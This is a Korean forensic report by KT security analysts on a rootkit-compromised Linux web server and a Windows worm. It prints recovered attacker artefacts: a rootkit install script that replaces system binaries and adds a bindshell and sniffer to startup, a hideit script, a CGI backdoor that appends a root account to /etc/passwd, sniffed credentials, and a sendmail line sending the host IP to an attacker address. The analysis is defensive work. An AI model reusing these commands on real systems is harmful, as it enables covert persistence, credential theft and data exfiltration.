은상 이상엽 (KT 망관리 / 지원단보안기술부 ) 정주환 (KT 망관리 / 지원단보안기술부 ) 김아영 (KT 망관리 / 지원단보안기술부 ) 최용훈 (KT 망관리 / 지원단보안기술부 )
요약보고서 침해사고분석 * Unix 침해사고분석은로그파일분석과파일변조분석으로부터단서를찾아나가는것이일반적이기때문에일차적으로로그파일분석을시도하였으나, 원격공격로그등은특별히발견되지않았으며일부백도어나수상한메일로그만을발견함. 다음으로파일변조분석을위해일반적으로 rootkit 이많이설치되는 /dev 파일조사를통해 rootkit 을찾아내어파일생성날짜와 rootkit 파일분석을중심으로침해사고분석을진행함. 초기침입분석 - 원격 sshd 취약점공격으로시스템에침입한것으로추측됨 - 정확한침입방법에대한분석은로그삭제로불가능 - 2002/6/8 이전에침입 로그삭제로정확한시간파악불가능 시스템분석결과 - rootkit(ls, ps, netstat) 및백도어다수설치 - ls, ps, netstat 실행시시스템정보 E- 메일로전파 - CGI Gateway 백도어설치및시작프로그램백도어발견 - Ssh 공격코드발견 스니퍼에의한패스워드수집및 Crack 프로그램등발견 주요로그파일다수삭제됨 악성코드 ( 웜 ) 분석 로컬 DNS 서버로다수사이트 DNS 역질의 (in-addr.arpa) 시도 특정사이트 (211.241.82.124) 에 MS04-011 LSASS 취약점 (TCP/ 445) 체크 특정사이트 (consult.skinfosec.co.kr) 에 TCP/80 포트를이용하여 DoS 공격 P2P 프로그램 kazaa 의공유디렉토리에자신을복사 system 디렉토리에 winsystemm.exe 파일생성
문제 1. 침해사고분석 침해사고분석내역 초기침입분석 - 원격 sshd 취약점공격으로시스템에침입한것으로추측됨 - 정확한침입방법에대한분석은로그삭제로불가능 - 2002/6/8 이전에침입 로그삭제로정확한시간파악불가능 시스템분석결과 - rootkit(ls, ps, netstat) 및백도어다수설치 - ls, ps, netstat 실행시시스템정보 E- 메일로전파 - CGI Gateway 백도어설치및시작프로그램백도어발견 - Ssh 공격코드발견 스니퍼에의한패스워드수집및 Crack 프로그램등발견 주요로그파일다수삭제됨 * Unix 침해사고분석은로그파일분석과파일변조분석으로부터단서를찾아나가는것이일반적이기때문에일차적으로로그파일분석을시도하였으나, 원격공격로그등은특별히발견되지않았으며일부백도어나수상한메일로그만을발견함. 다음으로파일변조분석을위해일반적으로 rootkit 이많이설치되는 /dev 파일조사를통해 rootkit 을찾아내어파일생성날짜와 rootkit 파일분석을중심으로침해사고분석을진행함. 세부분석 rootkit 설정파일찾기 - /dev 에 rootkit 설정파일발견 bash-2.05b# find. -type f -print./makedev drwxr-xr-x 2 root root 4096 Jun 8 18:11. drwxr-xr-x 19 root root 86016 Jun 8 18:11.. -rw-r--r-- 1 root root 50 Jun 8 18:11.addr -rw-r--r-- 1 root root 38 Jun 8 18:11.file -rw-r--r-- 1 root root 32 Jun 8 18:11.proc rootkit 설정파일분석 > rootkit 설치되어있음 bash-2.05b# more.addr 2 192.168.131.136
1 192.168.131.136 3 2222 4 2222 bash-2.05b# more.file sniffer bindshell rootkit.snifflogsk bash-2.05b# more.proc 2 cgiback.cgi 2 bshell 2 srload rootkit 설치날짜를중심으로의심되는파일조사 - ( 변경이의심되는파일 / 디렉토리들 ) bash-2.05b# ls -alsgr /mnt grep "Jun 8 18" grep ".." awk '{print $9}' while read x ;do find /mnt -name $x -ls ;done 63873 88 drwxr-xr-x 19 0 root 86016 Jun 8 18:11 /mnt/dev 15970 4 drwxr-x--- 2 0 root 4096 Jun 8 18:11 /mnt/root 16259 4 drwxr-xr-x 3 0 root 4096 Jun 8 18:08 /mnt/sbin 80373 4 drwxr-xr-x 2 0 root 4096 Aug 1 2002 /mnt/sbin/sbin 1709 4 drwxr-xr-x 2 0 root 4096 Jun 8 18:11 /mnt/dev/ptyxx 1712 4 -rw-r--r-- 1 0 root 50 Jun 8 18:11 /mnt/dev/ptyxx/.addr 1710 4 -rw-r--r-- 1 0 root 38 Jun 8 18:11 /mnt/dev/ptyxx/.file 1711 4 -rw-r--r-- 1 0 root 32 Jun 8 18:11 /mnt/dev/ptyxx/.proc 52566 32 -rw-rw-r-- 1 0 root 32768 Jun 8 18:09 /mnt/etc/psdevtab 70641 24 -rwxr-xr-x 1 0 root 22414 Jun 8 18:08 /mnt/etc/rc.d/rc.sysinit 51463 0 lrwxrwxrwx 1 0 root 15 Jun 8 01:47 /mnt/etc/rc.sysinit -> rc.d/rc.sysinit 19449 0 lrwxrwxrwx 1 0 root 9 Jun 8 18:11 /mnt/root/.bash_history - > /dev/null 84165 4 -rw-r--r-- 1 0 root 1 Jun 8 18:08 /mnt/usr/lib/.ark? 1689 4 drwxr-xr-x 2 0 root 4096 Jun 8 18:11 /mnt/usr/lib/librk/rootkit 1702 32 -rw-r--r-- 1 0 root 302 Jun 8 18:11
/mnt/usr/lib/librk/rootkit/.snifflogsk 1513 4 drwxr-xr-x 2 0 root 4096 Jun 8 18:11 /mnt/var/log/httpd 1512 4 drwxr-xr-x 2 48 root 4096 Apr 10 2002 /mnt/var/cache/httpd 20858 0 -rw-r--r-- 1 0 root 0 Jun 8 00:49 /mnt/var/lock/subsys/httpd 71058 4 -rwxr-xr-x 1 0 root 2188 Apr 10 2002 /mnt/etc/rc.d/init.d/httpd 1515 4 drwxr-xr-x 2 0 root 4096 Jun 8 18:08 /mnt/var/www/cgi-bin 52489 4 drwxr-xr-x 2 0 root 4096 Jun 7 17:58 /mnt/usr/share/doc/apache-1.3.23/cgi-bin 1701 8 -rwsr-xr-x 1 0 root 8092 Jun 8 18:08 /mnt/var/www/cgibin/cgiback.cgi 1697 8 -rwxr-xr-x 1 0 root 8092 Jul 31 2002 /mnt/usr/lib/librk/rootkit/cgiback.cgi rootkit 분석 스니퍼및 Rootkit이 /usr/lib/librk 에설치되어있음 bash-2.05b# find / -name sniffer -print /mnt/usr/lib/librk/rootkit/sniffer bash-2.05b# cd /mnt/usr/lib/librk bash-2.05b# ls rootkit rootkit.tar bash-2.05b# ls -al total 1400 drwxr-xr-x 2 root root 4096 Jun 8 18:11. drwxr-xr-x 3 root root 4096 Jun 8 01:48.. -rw-r--r-- 1 root root 302 Jun 8 18:11.snifflogsk -rwxr-xr-x 1 root root 15380 Jul 31 2002 bindshell -rwxr-xr-x 1 root root 8092 Jul 31 2002 cgiback.cgi -rwxr-xr-x 1 root root 603 Jul 31 2002 hideit -rwxr-xr-x 1 root root 352 Jul 31 2002 install -rwxr-xr-x 1 root root 9368 Jul 31 2002 logclean -rwxr-xr-x 1 root root 184023 Jul 31 2002 ls -rwxr-xr-x 1 root root 258612 Jul 31 2002 netstat -rwxr-xr-x 1 root root 47388 Jul 31 2002 ps -rwxr-xr-x 1 root root 6872 Jul 31 2002 sniffer
-rwxr-xr-x 1 root root 11028 Jul 31 2002 targets -rwxr-xr-x 1 root root 817052 Jul 31 2002 x3 Rootkit install 설치파일분석 bash-2.05b# strings install #! /bin/sh chown -R root./* cp -f./ls /bin/ls cp -f./ps /bin/ps cp -f./netstat /bin/netstat cp -f./bindshell /sbin/bshell cp -f./sniffer /sbin/srload cp -f./cgiback.cgi /var/www/cgi-bin/ echo "/sbin/bshell" >> /etc/rc.d/rc.sysinit echo "/sbin/srload" >> /etc/rc.d/rc.sysinit chmod u+s /var/www/cgi-bin/cgiback.cgi /sbin/bshell /sbin/srload Rootkit Binary 파일분석 x3 파일 - SSHD deattack exploit. bash-2.05b# strings x3 Usage: sshd-exploit -t# <options> host [port] Options: -t num (mandatory) defines target, use 0 for target list -X string skips certain stages SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net) bindshell 파일 shell 프로그램 bash-2.05b# strings bindshell gmon_start GLIBC_2.0 PTRh QVh (nfsiod) /bin/sh
Sniffer 파일 bash-2.05b# strings sniffer /lib/ld-linux.so.2 libc.so.6 strcpy libc_start_main setsid cant get SOCK_PACKET socket cant get flags cant set promiscuous mode /dev/null eth0.snifflogsk cant open log snifferlog 파일분석 스니퍼로그파일 bash-2.05b# more.snifflogsk ============================================================ Time: Tue Jun 8 18:10:06 Size: 153 Path: 192.168.131.1 => 192.168.131.136 [23] ------------------------------------------------- #'lotus test123 su - test123 ls pwd tar -xvf root cd root ls logcelean./logclean ifconfig -a
ls 파일 ls rootkit으로실행시시스템 IP 정보를메일발송 bash-2.05b# strings ls %s (%s) %s /dev/ptyxx/.file capi20.20.ark? ptyxx /usr/lib/.ark? echo "SUBJECT: `/sbin/ifconfig eth0 grep 'inet addr' awk '{print $2}' sed -e 's/.*://'`" /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com ps 파일 ps rootkit으로실행시시스템 IP 정보를메일발송 bash-2.05b# strings ps /usr/lib/.ark? echo "SUBJECT: `/sbin/ifconfig eth0 grep 'inet addr' awk '{print $2}' sed-e 's/.*://'`" /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com echo "SUBJECT: `/sbin/ifconfig eth0 grep 'inet addr' awk '{print $2}' sed netstat 파일 netstat rootkit으로실행시시스템 IP 정보를메일발송 bash-2.05b# strings netstat /usr/lib/.ark? echo "SUBJECT: `/sbin/ifconfig eth0 grep 'inet addr' awk '{print $2}' sed -e 's/.*://'`" /usr/lib/sendmail tuiqoitu039t09q3@bigfoot.com cgiback.cgi 파일 - CGI SuperUser Gateway bash-2.05b# strings cgiback.cgi /var/log/httpd /var/log/httpd/access_log awk '$0!~ /%s/ { print }' %s > %s/access_new /bin/mv -f %s/access_new %s; /bin/rm -f %s/access_new <TITLE>CGI SuperUser Gateway by Mos Tarac <mostar@hotmail.com></title> SCRIPT_NAME
<FORM ACTION=%s METHOD=POST> <SELECT NAME=STRCMD> <OPTION>execute command: <OPTION>create new root account <OPTION>list all processes </SELECT> echo 'syscall:%s:0:0::/root:/bin/bash' >> /etc/passwd New Root Account failed! New root account created as user: syscall : with your rootkit password!! hideit 파일 파일및디렉토리, 프로세스, 네트워크은닉설정프로그램 bash-2.05b# strings hideit #!/bin/sh mkdir /dev/ptyxx echo "--+ hiding files & directories +--" echo sniffer > /dev/ptyxx/.file echo "2 192.168.131.136" > /dev/ptyxx/.addr echo "1 192.168.131.136" >> /dev/ptyxx/.addr echo "3 2222" >> /dev/ptyxx/.addr echo "4 2222" >> /dev/ptyxx/.addr rm -f /root/.bash_history ln -s /dev/null /root/.bash_history bash-2.05b# /etc/rc.d/rc.sysinit 시스템시작파일분석 /sbin/bshell 파일 bind shell 프로그램 bash-2.05b# strings /mnt/sbin/bshell more /lib/ld-linux.so.2 libc.so.6 getpid execl dup2 QVh
(nfsiod) /bin/sh /sbin/srload 파일 스니퍼프로그램 bash-2.05b# strings /mnt/sbin/srload more cant get SOCK_PACKET socket cant get flags cant set promiscuous mode /dev/null eth0.snifflogsk cant open log 기타프로그램분석 패스워드 Crack 사전파일및 Lib bash-2.05b# ls -al crack* -rw-r--r-- 1 0 root 1024 Jul 31 2002 cracklib_dict.hwm -rw-r--r-- 1 0 root 828567 Jul 31 2002 cracklib_dict.pwd -rw-r--r-- 1 0 root 42116 Jul 31 2002 cracklib_dict.pwi 로그파일분석결과 /mnt/var/log/messages 에서 srload 스니퍼프로그램구동로그분석 Jun 8 18:08:40 www kernel: srload uses obsolete (PF_INET,SOCK_PACKET) Jun 8 18:08:40 www kernel: eth0: Promiscuous mode enabled. Jun 8 18:08:40 www kernel: device eth0 entered promiscuous mode /mnt/var/log/maillog 에서 rootkit에실행시메일발송로그분석 Jun 8 18:08:45 www sendmail[2233]: i5898j61002233: to=tuiqoitu039t09q3@bigfoot.com, ctladdr=root (0/0), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30025, relay=www.challenge.net. [203.251.80.133], dsn=5.1.3, stat=user unknown mailqueue에남아있는 Bigfoot.com으로보내는공격자메일정보 발송실패 bash-2.05b# grep bigfoot * dfi5898j62002233:tuiqoitu039t09q3@bigfoot.com dfi5898j62002233: (expanded from: tuiqoitu039t09q3@bigfoot.com)
dfi5898j62002233:550 5.1.1 tuiqoitu039t09q3@bigfoot.com... User unknown dfi5898j62002233:final-recipient: RFC822; tuiqoitu039t09q3@bigfoot.com dfi5898j62002233: for tuiqoitu039t09q3@bigfoot.com; Tue, 8 Jun 2004 18:08:45 +0900 로그인로그분석결과 bash-2.05b# last -f wtmp jacob pts/1 192.168.131.1 Tue Jun 8 00:48 gone - no logout jacob pts/0 192.168.131.1 Tue Jun 8 00:47 gone - no logout reboot system boot 2.4.18-4 Tue Jun 8 00:46 (8+15:17) jacob pts/0 192.168.131.1 Mon Jun 7 20:19 - down (00:05) root tty1 Mon Jun 7 20:05 - down (00:18) reboot system boot 2.4.18-4 Mon Jun 7 20:01 (00:22) jacob pts/0 192.168.131.1 Mon Jun 7 17:22 - down (00:24) root tty1 Mon Jun 7 17:04 - down (00:42) reboot system boot 2.4.18-4 Mon Jun 7 17:03 (00:43) wtmp begins Mon Jun 7 17:03:21 2004
문제 2. 악성코드 ( 웜 ) 분석 감염증상 로컬 DNS 서버로다수사이트 DNS 역질의 (in-addr.arpa) 시도 특정사이트 (211.241.82.124) 에 MS04-011 LSASS 취약점 (TCP/ 445) 체크 특정사이트 (consult.skinfosec.co.kr) 에 TCP/80 포트를이용하여 DoS 공격 P2P 프로그램 kazaa 의공유디렉토리에자신을복사 system 디렉토리에 winsystemm.exe 파일생성 분석결과 주요구간 TCP/445 ACL 차단필요 컨텐츠필터링을적용하여특정사이트 DoS 공격차단필요 세부분석 로컬 DNS 서버로다수사이트 DNS 역질의 (in-addr.arpa) 시도 KRNIC(x.x.x.124) 으로역질의
Dacom(x.x.x.81) 으로역질의 패킷발생량은미미함 체크 특정사이트 (211.241.82.124) 에 MS04-011 LSASS 취약점 (TCP/445)
패킷발생량은미미함 특정사이트 (consult.skinfosec.co.kr) 에 TCP/80 포트를이용하여 DoS 공격
패킷발생량초당 4 개로미미함 P2P 프로그램 kazaa 의공유디렉토리에자신을복사 - 확장자는 pix, scx, bax, exx 중에하나임 system 디렉토리에 winsystemm.exe 파일을생성레지스트리에등록되어재부팅후에도자동실행됨 - HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentViersion Run winsystemm=c: windows system32 winsystemm.exe Mutex 를생성하여프로세스에웜중복실행을방지한다. - sync-v1.01 ipcmtx0